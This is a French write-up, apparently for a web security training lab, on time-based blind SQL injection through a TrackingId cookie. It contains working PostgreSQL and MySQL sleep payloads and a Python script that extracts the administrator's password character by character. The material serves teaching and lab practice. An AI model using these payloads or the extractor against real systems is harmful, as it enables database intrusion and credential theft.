La valeur du cookie TrackingId est interpolée dans une requête SQL exécutée synchrone. On provoque une pause conditionnelle (SLEEP / pg_sleep) lorsque une assertion est vraie ; on déduit l’information en mesurant le temps de réponse (≈ délai si condition vraie).
PostgreSQL
Sleep 5 s simple :
Conditionnelle (tester si username='administrator' → 5 s) :
Tester longueur du mot de passe = 20 :
Tester caractère à la position pos :
Remarque Postgres : parfois il faut adapter la position du FROM selon la requête injectée ; les exemples ci-dessus sont des patterns courants.
MySQL
Sleep 5 s simple :
Conditionnelle (substring) :
Tester longueur = N :
MySQL : IF(condition, sleep(sec), 0) est la forme standard ; utiliser SUBSTRING(...) et LENGTH(...).
Exemples concrets (cookie complet)
Supposons BASE=abc123 et session 'SESSION=XYZ'.
Postgres — test caractère pos=1 == 'a' :
MySQL — test caractère pos=1 == 'a' :
Script Python automatisé (corrigé, Postgres & MySQL adaptables)
Ce script mesure la latence et reconstruit caractère par caractère. Paramètres : TARGET, BASE_TRACKING, SESSION, SGDB ('postgres' ou 'mysql'), alphabet, délai attendu (SLEEP_SEC) et MAX_LEN.
Pour Postgres, SGDB="postgres".
Pour MySQL, SGDB="mysql".
Réduis ALPHABET si tu connais charset (gain énorme).
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
TrackingId=<BASE>' AND SLEEP(5)-- -
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
#!/usr/bin/env python3
"""
Time-based blind SQLi extractor (Postgres / MySQL)
Usage: configurer TARGET, BASE_TRACKING, SESSION, SGDB, puis lancer.
Ne lancer QUE en environnement autorisé.
"""
import requests, time, string, sys, signal
# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test" # partie légitime du TrackingId
SESSION_VALUE = "SESSION_VALUE"
SGDB = "postgres" # "postgres" or "mysql"
SLEEP_SEC = 5 # delay provoqué côté serveur
THRESHOLD = SLEEP_SEC - 1.0 # si réponse > threshold => condition vraie
ALPHABET = string.ascii_lowercase + string.digits # à adapter
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------
HEADERS = {"User-Agent": "Mozilla/5.0"}
def build_payload(sgdb, pos, ch):
if sgdb == "postgres":
# condition: substring(password,pos,1) = 'ch'
cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
payload = f"{BASE_TRACKING}' || {cond} || '"
elif sgdb == "mysql":
# IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
payload = f"{BASE_TRACKING}' OR {cond}-- -"
else:
raise ValueError("SGDB non supporté")
return payload
def send_request(payload):
cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
t0 = time.time()
try:
r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
except requests.exceptions.RequestException as e:
return None, None
dt = time.time() - t0
return r, dt
def extract_password():
pwd = ""
for pos in range(1, MAX_LEN + 1):
found = False
for ch in ALPHABET:
payload = build_payload(SGDB, pos, ch)
_, dt = send_request(payload)
if dt is None:
print("[!] requête échouée, retryer ou vérifier la connexion")
sys.exit(1)
# debug: print(f"pos={pos} try={ch} dt={dt:.2f}s")
if dt > THRESHOLD:
pwd += ch
print(f"[+] pos={pos} -> '{ch}' (dt={dt:.2f}s)")
found = True
break
if not found:
print(f"[-] Aucun caractère trouvé en position {pos} -> fin probable")
break
return pwd
def sigint_handler(sig, frame):
print("\nInterrompu. Sortie.")
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sigint_handler)
print("[*] Début extraction (time-based)")
recovered = extract_password()
print(f"\n[=] Mot de passe récupéré (partiel/estimé): {recovered}\n")